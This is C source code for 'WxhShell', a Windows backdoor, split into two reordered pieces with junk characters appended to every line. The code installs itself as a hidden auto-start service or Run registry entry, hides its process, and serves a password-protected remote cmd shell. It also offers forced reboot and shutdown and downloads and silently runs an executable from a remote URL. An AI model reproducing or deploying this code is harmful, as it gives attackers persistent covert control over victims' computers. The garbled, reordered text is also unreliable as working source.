    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O: :X$O7  
    else { e>z3 \4  
    closesocket(wsh); pDrM8)r  
    ExitThread(0); ORyFE:p$  
    } H '&x4[J:  
    break; oCXBek?\  
    } rRly0H  
  // 获取shell wh[XJ_xY  
  case 's': { 11Pm lzy  
    CmdShell(wsh); mJ)o-BV  
    closesocket(wsh); 4{[Df$'e>  
    ExitThread(0); jf~/x>Q  
    break; -[".km  
  } m9a(f>C  
  // 退出 Ca0~K42~  
  case 'x': { ZlUd^6|:3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A"2k,{d  
    CloseIt(wsh); OB>Pk_eQK  
    break; }{J<Wzw  
    } R<a7TkL4?  
  // 离开 RxjC sjg  
  case 'q': { +F]X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /P Qz$e-!Y  
    closesocket(wsh); \%K< S  
    WSACleanup(); #\GWYWkR  
    exit(1); a=.A/;|0*  
    break; "z1\I\ ^  
        } $*\[I{Zau}  
  } jyb/aov  
  } )F8G q,  
WIa4!\Ky!  
  // 提示信息 \|L ~#{a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vxzh|uF  
} TG=) KS  
  } %J5zfNe)&  
^%VMp>s  
  return; *[) b}?  
} FI`][&]V  
\/xWsbG\  
// shell模块句柄 f-E]!\Pg  
int CmdShell(SOCKET sock) :-fCyF)EI  
{ w[S2 ] <  
STARTUPINFO si; U^-:qT;CX  
ZeroMemory(&si,sizeof(si)); BlF>TI%2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N2 wBH+3w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "M3R}<Vt  
PROCESS_INFORMATION ProcessInfo; uosFpa  
char cmdline[]="cmd"; D'$ki[{,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vSb$gl5H  
  return 0; !iN=py  
} d OQU#5  
w4\b^iJz  
// 自身启动模式 f R$E*Jd  
int StartFromService(void) /. k4Y  
{ d3v5^5kU  
typedef struct %AwR4"M  
{ suC]  
  DWORD ExitStatus; _VLc1svv  
  DWORD PebBaseAddress; )$p<BLU  
  DWORD AffinityMask; MDZ,a 0?4t  
  DWORD BasePriority; D1}Bn2BM$  
  ULONG UniqueProcessId; E:a_f!  
  ULONG InheritedFromUniqueProcessId; ,_,Z<X/  
}   PROCESS_BASIC_INFORMATION; T>7$<ulm  
\DI%/(?  
PROCNTQSIP NtQueryInformationProcess; %5?qS`/c(  
.DR^<Qy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -aK_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _z4c7_H3  
^oDCF  
  HANDLE             hProcess;  yr9%,wwN  
  PROCESS_BASIC_INFORMATION pbi; W3Oj6R  
u,mC`gz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); > `R}ulz)  
  if(NULL == hInst ) return 0; gXBC= ?jl  
Q x}\[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >k)}R|tJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &ejJf{id  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !ba /] A/  
1S/KT4  
  if (!NtQueryInformationProcess) return 0; #EQwl6  
u/-u l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b+bgGLo  
  if(!hProcess) return 0; 3WZdP[o!  
ZV=O oL t,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1$2'N~`#U  
dtD)VNkBZ  
  CloseHandle(hProcess); e"Kg/*Ji1  
`a2%U/U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SIQ7oxS4  
if(hProcess==NULL) return 0; q$6fb)2I]e  
@0H}U$l  
HMODULE hMod; 1AiqB Rs  
char procName[255]; 8@pY:AY  
unsigned long cbNeeded; 3 (Bd`=9  
=|_:H$94  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -T3 z@k  
E_ #MQ;n  
  CloseHandle(hProcess); yE1M+x./  
AJ1(q:P  
if(strstr(procName,"services")) return 1; // 以服务启动 0~ !).f  
d~ n|F|`:  
  return 0; // 注册表启动 Z Z|a`U  
} 53=5xE= `D  
"5:^aC]  
// 主模块 mhU ?N  
int StartWxhshell(LPSTR lpCmdLine) 6a$=m3ic  
{ 30cZz  
  SOCKET wsl; H*s_A/$  
BOOL val=TRUE; TN!8J=sx.  
  int port=0; ,rkY1w-  
  struct sockaddr_in door; - "`5r6  
HQqnJ;ns<  
  if(wscfg.ws_autoins) Install(); X <QSi   
LE$_qX`L  
port=atoi(lpCmdLine); QlT{8uw )  
|-t>_+. J'  
if(port<=0) port=wscfg.ws_port; 1o5n1 A  
h r9rI  
  WSADATA data; qbcaiU`-^"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r: Ij\YQ  
2GB)K?1M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6xI9 %YDy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2UqLV^ZY  
  door.sin_family = AF_INET; EMK>7 aks  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B. '&[A  
  door.sin_port = htons(port); ^I2+$  
mY!os91KoO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =SMI,p&  
closesocket(wsl); -CePtq`  
return 1; W:s`;8iM$  
} ++{,1wY\  
wNQhz.>y  
  if(listen(wsl,2) == INVALID_SOCKET) { sv}k_6XgY  
closesocket(wsl); ?VUW.-  
return 1; #Xdj:T<*  
} MC=pN(l  
  Wxhshell(wsl); Jw"fqr  
  WSACleanup(); Q[sj/  
D3,9X#B=  
return 0; fH{ _X  
5ZpU><y  
} abAX)R'  
W:5,zFW  
// 以NT服务方式启动 l6kqP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )g;*u,C  
{ {DfXn1Cg0U  
DWORD   status = 0; FZdZGK  
  DWORD   specificError = 0xfffffff; CG!7BP\  
'8RBR%)y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $"#2hVO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <<#j?%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~%.<rc0  
  serviceStatus.dwWin32ExitCode     = 0; oXW51ty  
  serviceStatus.dwServiceSpecificExitCode = 0; J9buf}C[  
  serviceStatus.dwCheckPoint       = 0; xb6y=L  
  serviceStatus.dwWaitHint       = 0; xhq-$"B  
c_p7vvI&c0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 60RYw9d%0  
  if (hServiceStatusHandle==0) return; ]!% p21e  
) H HBf<  
status = GetLastError(); [yFf(>B  
  if (status!=NO_ERROR) 8Qm%T7]UFb  
{ k+nfW]UNF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?7?hDw_Nk  
    serviceStatus.dwCheckPoint       = 0; IhRWa|{I  
    serviceStatus.dwWaitHint       = 0; l:Hm|9UZ  
    serviceStatus.dwWin32ExitCode     = status; .A6i?iROe  
    serviceStatus.dwServiceSpecificExitCode = specificError; fm u;Pb]r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VDnN2)Km*  
    return; ,\".|m1o.  
  } x~ ;1CB  
eW"L")  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^/`W0kT  
  serviceStatus.dwCheckPoint       = 0; G&7!3u  
  serviceStatus.dwWaitHint       = 0; qHQWiu% h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;^yR,32F  
} 0<^!<i(%  
Ad%3 fvn  
// 处理NT服务事件,比如:启动、停止 V1h&{D\"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o$4xinK  
{ )P|&o%E  
switch(fdwControl) P84uEDY  
{ *{K?JB#W  
case SERVICE_CONTROL_STOP: A3su!I2S  
  serviceStatus.dwWin32ExitCode = 0; *PSUB{i(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~d.Z. AD  
  serviceStatus.dwCheckPoint   = 0; =eHoJq  
  serviceStatus.dwWaitHint     = 0; =PQMd  
  { B)!ty"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \7\7i-Vo  
  } {D>@ZC  
  return; EklcnM|6  
case SERVICE_CONTROL_PAUSE: _{k-&I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n^xB_DJ~  
  break; r9\7I7z  
case SERVICE_CONTROL_CONTINUE: _`Lv@T.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *PF}L%K(?  
  break; v-utDQT3  
case SERVICE_CONTROL_INTERROGATE: D# Gf.c  
  break; iCZuE:I1K,  
}; "kdmqvTHK0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O5v)}4  
} ' 5F3,/r  
,SZYZ 25  
// 标准应用程序主函数 O3*}L2 j@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vAV{HBQ*  
{ 9$~a&lXO5  
C2a2K={  
// 获取操作系统版本 Fk4T>8q2;  
OsIsNt=GetOsVer(); WL#E%6p[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g##yR/L  
QT<\E`v  
  // 从命令行安装 f6$$e+  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3_ P<0%  
Yvn*evO4  
  // 下载执行文件 R?Ou=p .  
if(wscfg.ws_downexe) { >@ :m#d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =^5,ua6  
  WinExec(wscfg.ws_filenam,SW_HIDE); {0Jpf[.f  
} J? 4E Hl  
^T< HD  
if(!OsIsNt) { Ug P  
// 如果时win9x,隐藏进程并且设置为注册表启动 j=U^+jAn  
HideProc(); 6eB2mcV  
StartWxhshell(lpCmdLine); S}}L& _  
} j8cXv  
else l'Kx#y$  
  if(StartFromService()) x)0''}E~  
  // 以服务方式启动 j7>a ^W  
  StartServiceCtrlDispatcher(DispatchTable); s~tZN  
else s9\N{ar#  
  // 普通方式启动 Hgk@I;  
  StartWxhshell(lpCmdLine); UNO KK_  
oQ{ X2\  
return 0; Pxy+W*t  
} tmgZNg  
&`LR{7m  
;JHR~ TV  
zu! #   
=========================================== oa"_5kn,  
\&,{N_G#L.  
j0.E!8Ae{  
G^W'mV$xl  
t4H*&U  
Co^^rd@  
" %Mxc"% w  
AcQmY?  
#include <stdio.h> IW$qP&a  
#include <string.h> XlaGR2-%  
#include <windows.h> )/FEjo  
#include <winsock2.h> wpK[;  
#include <winsvc.h> i%3q*:A]2  
#include <urlmon.h> q}r{%ypf  
e9p!Caf~I-  
#pragma comment (lib, "Ws2_32.lib") Wi"3kps q  
#pragma comment (lib, "urlmon.lib") tW[dJKw  
MD+e!A#o  
#define MAX_USER   100 // 最大客户端连接数 HbZFL*2x3  
#define BUF_SOCK   200 // sock buffer JF6=0  
#define KEY_BUFF   255 // 输入 buffer Kj/{V  
]q":ta!f  
#define REBOOT     0   // 重启 sD{d8s[(  
#define SHUTDOWN   1   // 关机 {;^GKb+  
x4Wu`-4^  
#define DEF_PORT   5000 // 监听端口 wN2D{Jj  
zS/1v+  
#define REG_LEN     16   // 注册表键长度 A2p]BW&  
#define SVC_LEN     80   // NT服务名长度 ?C`&*+  
E06)&tF  
// 从dll定义API UPGS/Xs]1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ('oA{,#L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4DV@-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GWCU 9n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?d5_{*]+v  
 8\Uy  
// wxhshell配置信息 gaC [%M  
struct WSCFG { .qfU^AHA  
  int ws_port;         // 监听端口 |FP@NUX\  
  char ws_passstr[REG_LEN]; // 口令 Cb i;CF\{  
  int ws_autoins;       // 安装标记, 1=yes 0=no k* e $_  
  char ws_regname[REG_LEN]; // 注册表键名 ]uZaj?%J<  
  char ws_svcname[REG_LEN]; // 服务名 Dk#4^`qp1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pdq5EUdS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m;oCi }fL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |rL#HG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O3En+m~3n)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o! Y61S(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xWxgv;Ah  
Rl[SqmnI)@  
}; u_'XUJ32!  
)tp;2rJ/  
// default Wxhshell configuration 3\Tqs  
struct WSCFG wscfg={DEF_PORT, 3( o~|%  
    "xuhuanlingzhe", E! mxa  
    1, |,lw$k93  
    "Wxhshell", #QM9!k@9k  
    "Wxhshell", =j^wa')  
            "WxhShell Service", rL23^}+^`  
    "Wrsky Windows CmdShell Service", `-yiVUp1:z  
    "Please Input Your Password: ", W+'f|J=  
  1, )F3>  
  "http://www.wrsky.com/wxhshell.exe", 5XF&yYWq  
  "Wxhshell.exe" wfq}NK;  
    }; /=gU  
xv 9 G%  
// 消息定义模块 w1:%P36H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #m6W7_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }_,={<g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L5n/eg:Q  
char *msg_ws_ext="\n\rExit."; ( yv)zg9  
char *msg_ws_end="\n\rQuit."; Ji e=/:&  
char *msg_ws_boot="\n\rReboot..."; @s8wYcW  
char *msg_ws_poff="\n\rShutdown..."; uXm}THI  
char *msg_ws_down="\n\rSave to "; q!whWA  
3dB{DuQ  
char *msg_ws_err="\n\rErr!"; m* rw?nLZ  
char *msg_ws_ok="\n\rOK!"; @M=\u-jJ.  
wak`Jte=}m  
char ExeFile[MAX_PATH]; q?=_{oH9  
int nUser = 0;  E-L>.tD  
HANDLE handles[MAX_USER]; KF}_|~~T  
int OsIsNt; ?, oE_H  
jUCDf-_ m  
SERVICE_STATUS       serviceStatus; (5efNugc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; # |^yWw^  
VdE$ig@  
// 函数声明 M2piJ'T4u  
int Install(void); dhmrh5Uf  
int Uninstall(void); \(`,z}Ht _  
int DownloadFile(char *sURL, SOCKET wsh); +1>\o|RF  
int Boot(int flag); 3fq'<5 ^  
void HideProc(void); EE,C@d!*k7  
int GetOsVer(void); P%y$e0  
int Wxhshell(SOCKET wsl); d'!abnF[d  
void TalkWithClient(void *cs); <I.{meDg  
int CmdShell(SOCKET sock); 3 adF) mh  
int StartFromService(void); %Zi}sm1t  
int StartWxhshell(LPSTR lpCmdLine); 3&5AbIZ  
wd<jh,Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KD73Aw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N51WY7  
YE[{Y(5;q  
// 数据结构和表定义 |v@ zyOq&b  
SERVICE_TABLE_ENTRY DispatchTable[] = Dfw%Bu  
{ K(heeZUt  
{wscfg.ws_svcname, NTServiceMain}, [5wU0~>'  
{NULL, NULL} ucX!6)Op  
}; QR(j7>+J^  
szas(7kDS  
// 自我安装 dEK bB  
int Install(void) gjc[\"0a5h  
{ =fcRH:B:  
  char svExeFile[MAX_PATH]; 1pZ[r M'}  
  HKEY key; qd@Fb*  
  strcpy(svExeFile,ExeFile); n$E'+kox  
17S<6j#H5  
// 如果是win9x系统,修改注册表设为自启动 ?X3uPj9if  
if(!OsIsNt) { (F'?c1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `(VVb@:o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2PQY+[jx  
  RegCloseKey(key); ggHz-oNY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z]n&,q,5g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9B2`FJ  
  RegCloseKey(key); s,]z6L0  
  return 0; +9]CGYj  
    } /A>1TPb09"  
  } A1/[3Bz  
} g7O , <  
else { .7r$jmuFs  
z.0!FUd  
// 如果是NT以上系统,安装为系统服务 F?hGt]o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2/RW(U  
if (schSCManager!=0) !Tu4V\^~A  
{ 'OvyQ/T  
  SC_HANDLE schService = CreateService ^/"2s}+  
  ( W0s3nio  
  schSCManager, {^6<Ohe4j  
  wscfg.ws_svcname, S@6 :H"  
  wscfg.ws_svcdisp, fp'%lbk=  
  SERVICE_ALL_ACCESS, BTa#}LBZ+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &OP =O*B  
  SERVICE_AUTO_START, HVaKy+RU  
  SERVICE_ERROR_NORMAL, 6d%)MEM  
  svExeFile, }(v <f*7=n  
  NULL, S'(Hl}h!.  
  NULL, @+(a{%~7y  
  NULL, :AM_C^j~ D  
  NULL, $S2kc$'F  
  NULL GdtR  /1  
  ); ErY-`8U"  
  if (schService!=0) f$]ttU U  
  { f<l.%B  
  CloseServiceHandle(schService); Vho^a:Z9}W  
  CloseServiceHandle(schSCManager); ^9 {r2d&c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZY-mUg  
  strcat(svExeFile,wscfg.ws_svcname); V(<(k,8=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .tt=\R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wZ\% !# }7  
  RegCloseKey(key); CpdQ]Ai[  
  return 0;  Sn-D|Z  
    } ZA8FX  
  } G L8 N!,  
  CloseServiceHandle(schSCManager); B6"pw0  
} )`-vN^1S-  
} of>}fJ_p  
*kKdL  
return 1; jWJ/gv~ $  
} u,),kj<  
k=JT%  
// 自我卸载 nQM7@"R  
int Uninstall(void) un(fr7NW  
{ q($fl7}Y  
  HKEY key; eW zyydl  
4!0nM|~  
if(!OsIsNt) { q.69<Rs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?&se]\  
  RegDeleteValue(key,wscfg.ws_regname); kq=tL@W`0}  
  RegCloseKey(key); ff<ad l-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O>sE~~g]?  
  RegDeleteValue(key,wscfg.ws_regname);  9Li.B1j  
  RegCloseKey(key); _~_6qTv-d  
  return 0; WDQw)EUl&  
  } iBPx97a  
} l$eKV(CZ4  
} 77o&$l,A|  
else { `%Uz0hF  
jG~UyzWH;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V'XvwO@  
if (schSCManager!=0) J&jig?t  
{ z{dn   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9S$?2z".2  
  if (schService!=0) kU$M 8J.  
  { j aq/]I7  
  if(DeleteService(schService)!=0) { ljRR{HOl  
  CloseServiceHandle(schService); NZ?|#5 3  
  CloseServiceHandle(schSCManager); .47tj`L   
  return 0; 4 Q FX  
  } %QKRl 5RM-  
  CloseServiceHandle(schService); "f3KE=cUm  
  } jj*e.t:F  
  CloseServiceHandle(schSCManager); 7COJ.rA  
} Mv^G%zg2  
} ?jRyw(Q  
V0'_PR@;  
return 1; &yQM 8J~  
} I0]"o#Lj T  
}c-tvK1g  
// 从指定url下载文件 ]6 vqgu  
int DownloadFile(char *sURL, SOCKET wsh) Lmw{ `R  
{ \~`qE<Q/  
  HRESULT hr; 0&|,HK  
char seps[]= "/"; "J (.dg]"  
char *token; ,1g*0W^  
char *file; 0A>Fl*  
char myURL[MAX_PATH]; 7+^4v(s  
char myFILE[MAX_PATH]; gw`}eA$  
<6)  w  
strcpy(myURL,sURL); 'hw_ew   
  token=strtok(myURL,seps); l#G }j^Q  
  while(token!=NULL) #3o]Qo[Sc  
  { Rooem dCM  
    file=token; kVu-,OU  
  token=strtok(NULL,seps); B)`^/^7  
  } :i_k A'dl&  
{|Pz9a- :  
GetCurrentDirectory(MAX_PATH,myFILE); KV$J*B Y  
strcat(myFILE, "\\"); ViG4tb  
strcat(myFILE, file); a,U@ !}K  
  send(wsh,myFILE,strlen(myFILE),0); K;_.WzWD=  
send(wsh,"...",3,0); H<6/i@ly  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,0R2k `m!  
  if(hr==S_OK) M:OJL\0  
return 0; 9AROvq|#  
else I+^B] @"  
return 1; 9#AsSbBpf  
Z2dy|e(c  
} RU^lR8;  
[F< Tl =  
// 系统电源模块 c(<,qWH  
int Boot(int flag) bs_"Nn?  
{ dQ4K^u  
  HANDLE hToken;  ^"d!(npw  
  TOKEN_PRIVILEGES tkp; v|v^(P,o  
JV#)?/a$z  
  if(OsIsNt) { H21\6 GY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4f?Y'+>Z,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +=bGrn>h  
    tkp.PrivilegeCount = 1; fjAJys)Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GL_a`.=@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .h8%zB#|i  
if(flag==REBOOT) { uoe5@j2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jy X7I,0  
  return 0; >r"~t70C~]  
} ]8XY "2b  
else { vQ}'4i8(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fYzOT, c  
  return 0; yEfV8aY'*  
} ~4~-^ t  
  } Sr`gQ#b@r}  
  else { ;=.QT  
if(flag==REBOOT) { _ .%\czO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +jD{ O @9  
  return 0; U&mJ_f#M  
} %q@eCN  
else { 2\z"6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C||A[JOS  
  return 0; G'<J8;B* t  
} .bYDj&]P{  
} M_2[Wypw  
~OXC6z  
return 1; PIuk]&L^  
} L/w9dk*uv  
qK4E:dD  
// win9x进程隐藏模块 %8T:rS  
void HideProc(void) {da Nw>TH  
{ h !~u9  
6SMGXy*]^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e_wz8]K)n  
  if ( hKernel != NULL ) }V3p <  
  { Qj? G KO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IA|V^Wmt;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )CzWq}:  
    FreeLibrary(hKernel); In0kP"  
  } *a@pZI0'  
.Jz$)R  
return; "9 -duDg  
} Y'n TyH  
HB4Hz0Fa  
// 获取操作系统版本 9Osjh G  
int GetOsVer(void) %TUljX K}  
{ ! G%LYHx  
  OSVERSIONINFO winfo; 8Us5Oi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MO :##C  
  GetVersionEx(&winfo); QK\QvU2y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }B_n}<tjD  
  return 1; @\_ tS H  
  else qB_MDA  
  return 0; <,l&),  
} | %af}# FQ  
8kih81tx"U  
// 客户端句柄模块 qphN   
int Wxhshell(SOCKET wsl) I~qS6#%r  
{ Fz16m7.  
  SOCKET wsh; -uiZp !  
  struct sockaddr_in client; /'=C<HSO  
  DWORD myID; GG\]}UjX  
&G@*/2A  
  while(nUser<MAX_USER) xyx.1o e!  
{ | zj$p~  
  int nSize=sizeof(client); 'jeGERMr'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I<.3"F1}  
  if(wsh==INVALID_SOCKET) return 1; ,{7wvXP  
F]W'spF,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YF @'t~_Z  
if(handles[nUser]==0) !>/U6h,_  
  closesocket(wsh); ^"ywltW>  
else iLy }G7h  
  nUser++; UUv&X+ Y  
  } 3skq%;%Wsk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vI ]| W  
r]km1SrS  
  return 0; A5Yfm.Jy  
} 2"nd(+ QH  
]?^m;~MQZ  
// 关闭 socket (]>c8;o#b  
void CloseIt(SOCKET wsh) 6Pl$DSu  
{ 'M+iVF6  
closesocket(wsh); !1dCk/D&)8  
nUser--; =4yME  
ExitThread(0); lMp)T**  
} -<}_K,Ky`  
qSMST mnQ  
// 客户端请求句柄 El0|.dW  
void TalkWithClient(void *cs) Og%qv Bj 6  
{ K|Std)6  
DI9x] CR  
  SOCKET wsh=(SOCKET)cs; 1bd(JL  
  char pwd[SVC_LEN]; IZ3w.:A  
  char cmd[KEY_BUFF]; uKh),@JV  
char chr[1]; ]BCH9%zLj  
int i,j; gOO\` #  
.0#?u1gXsX  
  while (nUser < MAX_USER) { b}o^ ?NtA  
6+FmYp  
if(wscfg.ws_passstr) { mN_RB{g{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]m(Uv8/6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (ui"vLk8PP  
  //ZeroMemory(pwd,KEY_BUFF); Z KnEg2a  
      i=0; cy?u *  
  while(i<SVC_LEN) { Revc :m1o  
M'HmVg4'  
  // 设置超时 hp,bfcM  
  fd_set FdRead; Eti;(>"@  
  struct timeval TimeOut; O~-#>a  
  FD_ZERO(&FdRead); j,Qp*b#Qo  
  FD_SET(wsh,&FdRead); 8@Xq ,J  
  TimeOut.tv_sec=8; KCDEMs}}zM  
  TimeOut.tv_usec=0; Gs.id^Sf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FbJlyWND  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +D`IcR-x  
"m _wYX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d~O\zLQ;  
  pwd=chr[0]; #=5/D@  
  if(chr[0]==0xd || chr[0]==0xa) { \Q?r+VZ  
  pwd=0; ~0|Hw.OK  
  break; +Ld4 e]  
  } zhKb|SV  
  i++; [st4FaQ36  
    } (m=-oQ&Ro  
}!(cm;XA"  
  // 如果是非法用户,关闭 socket 0~R0)Q,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >Rjk d>K3  
} O@'/B" &  
CG@ LYN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S*IF/ fu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]gHw;ry  
%-i2MK'A  
while(1) { m /JpYv~  
 EP'2'51  
  ZeroMemory(cmd,KEY_BUFF); B:a&)L wp0  
%[-D&flKC  
      // 自动支持客户端 telnet标准   U=QV^I Qm  
  j=0; =5oE|F%  
  while(j<KEY_BUFF) { ,S2D/Y^>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y!."FoQ  
  cmd[j]=chr[0]; %rzC+=*;  
  if(chr[0]==0xa || chr[0]==0xd) { 7$a,pNDw  
  cmd[j]=0; 65\'(99y U  
  break; *rK}Ai  
  } O]~cv^  
  j++; VW I{ wC  
    } h:<p EL  
!BP/#  
  // 下载文件 "D2 `=D!+  
  if(strstr(cmd,"http://")) { ,*Tf9=z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]P<u^ `{*  
  if(DownloadFile(cmd,wsh)) %/CCh;N#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4W*52*'F,  
  else 8{8J(~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OSK 3X Qc  
  } ib0M$Y1tIS  
  else { - {>JF  
u= 5&e)v3  
    switch(cmd[0]) { |gA~E>IqF  
  ow!utAF  
  // 帮助 [, 3o  
